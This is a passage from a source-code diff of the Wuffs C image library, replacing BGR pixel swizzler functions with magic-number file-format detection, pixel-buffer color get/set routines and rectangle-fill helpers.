(nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); ++ if (mag_remaining_len == 0) { ++ goto match; ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ const char* mag_remaining_ptr = table[i].magic + 2; ++ uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; ++ size_t pre_remaining_len = prefix_data.len - 1; ++ if (pre_remaining_len < mag_remaining_len) { ++ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { ++ return prefix_closed ? 0 : -1; ++ } ++ } else { ++ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { ++ goto match; ++ } ++ } ++ } + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; ++ if (prefix_data.len < 2) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { ++ return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, ++ prefix_closed); + } + +- return len; +-} ++ return 0; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++match: ++ // Negative FourCC values (see § above) are further specialized. ++ if (fourcc < 0) { ++ fourcc = -fourcc; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s1; +- d[2] = s2; ++ if (fourcc == 0x52494646) { // 'RIFF'be ++ if (prefix_data.len < 12) { ++ return prefix_closed ? 0 : -1; ++ } ++ uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); ++ if (x == 0x57454250) { // 'WEBP'be ++ return 0x57454250; // 'WEBP'be ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ } else if (fourcc == 0x30302020) { // '00 'be ++ // Binary data starting with multiple 0x00 NUL bytes is quite common. ++ // Unfortunately, some file formats also don't start with a magic ++ // identifier, so we have to use heuristics (where the order matters, the ++ // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe ++ // it's TGA, ICO/CUR, etc. Maybe it's something else. ++ int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( ++ prefix_data, prefix_closed); ++ if (tga != 0) { ++ return tga; ++ } ++ int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( ++ prefix_data, prefix_closed); ++ if (ico != 0) { ++ return ico; ++ } ++ if (prefix_data.len < 4) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[2] != 0x00) && ++ ((prefix_data.ptr[2] >= 0x80) || ++ (prefix_data.ptr[3] != 0x00))) { ++ // Roughly speaking, this could be a non-degenerate (non-0-width and ++ // non-0-height) WBMP image. ++ return 0x57424D50; // 'WBMP'be ++ } ++ return 0; ++ } + } +- +- return len; ++ return fourcc; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++// ---------------- Pixel Swizzler + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + +- return len; +-} ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++// -------- + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++static inline uint32_t // ++wuffs_private_impl__swap_u32_argb_abgr(uint32_t u) { ++ uint32_t o = u & 0xFF00FF00ul; ++ uint32_t r = u & 0x00FF0000ul; ++ uint32_t b = u & 0x000000FFul; ++ return o | (r >> 16) | (b << 16); ++} + +- return len; ++static inline uint64_t // ++wuffs_private_impl__swap_u64_argb_abgr(uint64_t u) { ++ uint64_t o = u & 0xFFFF0000FFFF0000ull; ++ uint64_t r = u & 0x0000FFFF00000000ull; ++ uint64_t b = u & 0x000000000000FFFFull; ++ return o | (r >> 32) | (b << 32); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { ++ uint32_t a = ((uint32_t)(0xFF & (c >> 56))); ++ uint32_t r = ((uint32_t)(0xFF & (c >> 40))); ++ uint32_t g = ((uint32_t)(0xFF & (c >> 24))); ++ uint32_t b = ((uint32_t)(0xFF & (c >> 8))); ++ return (a << 24) | (b << 16) | (g << 8) | (r << 0); ++} + +- // TODO: unroll. ++// -------- + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // ++wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, ++ uint32_t x, ++ uint32_t y) { ++ if (!pb || (x >= pb->pixcfg.private_impl.width) || ++ (y >= pb->pixcfg.private_impl.height)) { ++ return 0; ++ } + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return 0; + } + +- return len; +-} ++ size_t stride = pb->private_impl.planes[0].stride; ++ const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); + +- // TODO: unroll. ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { ++ uint8_t* palette = pb->private_impl.planes[3].ptr; ++ return wuffs_base__peek_u32le__no_bounds_check(palette + ++ (4 * ((size_t)row[x]))); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ // Common formats above. Rarer formats below. + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ (((uint32_t)(row[(2 * x) + 1])) << 24) | ++ (((uint32_t)(row[(2 * x) + 0])) * 0x00010101)); + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { ++ uint8_t* palette = pb->private_impl.planes[3].ptr; ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(palette + ++ (4 * ((size_t)row[x])))); ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return 0xFF000000 | ++ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return 0xFF000000 | ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ 0xFF000000 | ++ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(row + ++ (4 * ((size_t)x))))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ 0xFF000000 | ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ ++ default: ++ // TODO: support more formats. ++ break; + } + +- return len; ++ return 0; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_buffer__set_color_u32_at( ++ wuffs_base__pixel_buffer* pb, ++ uint32_t x, ++ uint32_t y, ++ wuffs_base__color_u32_argb_premul color) { ++ if (!pb) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if ((x >= pb->pixcfg.private_impl.width) || ++ (y >= pb->pixcfg.private_impl.height)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); ++ break; + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ // Common formats above. Rarer formats below. + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ wuffs_base__poke_u8__no_bounds_check( ++ row + ((size_t)x), ++ wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ wuffs_base__poke_u16be__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( ++ color)); ++ break; + +- return len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ wuffs_base__poke_u8__no_bounds_check( ++ row + ((size_t)x), wuffs_base__pixel_palette__closest_element( ++ wuffs_base__pixel_buffer__palette(pb), ++ pb->pixcfg.private_impl.pixfmt, color)); ++ break; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ wuffs_base__poke_u64le__no_bounds_check( ++ row + (8 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( ++ color)); ++ break; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ wuffs_base__poke_u24le__no_bounds_check( ++ row + (3 * ((size_t)x)), ++ wuffs_private_impl__swap_u32_argb_abgr(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr(color))); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_private_impl__swap_u32_argb_abgr(color)); ++ break; + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ default: ++ // TODO: support more formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +- return len; ++ return wuffs_base__make_status(NULL); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint16_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u16le__no_bounds_check(ptr, color); ++ ptr += 2; ++ } ++ return; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (2 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u16le__no_bounds_check(ptr, color); ++ ptr += 2; ++ } ++ } ++} + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint32_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u24le__no_bounds_check(ptr, color); ++ ptr += 3; ++ } ++ return; ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (3 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u24le__no_bounds_check(ptr, color); ++ ptr += 3; ++ } ++ } ++} + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint32_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u32le__no_bounds_check(ptr, color); ++ ptr += 4; ++ } ++ return; + } + +- return len; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (4 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u32le__no_bounds_check(ptr, color); ++ ptr += 4; ++ } ++ } + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgbx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint64_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u64le__no_bounds_check(ptr, color); ++ ptr += 8; ++ } ++ return; ++ } + +- // TODO: unroll. ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (8 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u64le__no_bounds_check(ptr, color); ++ ptr += 8; ++ } ++ } ++} + +- while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_buffer__set_color_u32_fill_rect( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ wuffs_base__color_u32_argb_premul color) { ++ if (!pb) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { ++ return wuffs_base__make_status(NULL); ++ } ++ wuffs_base__rect_ie_u32 bounds = ++ wuffs_base__pixel_config__bounds(&pb->pixcfg); ++ if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 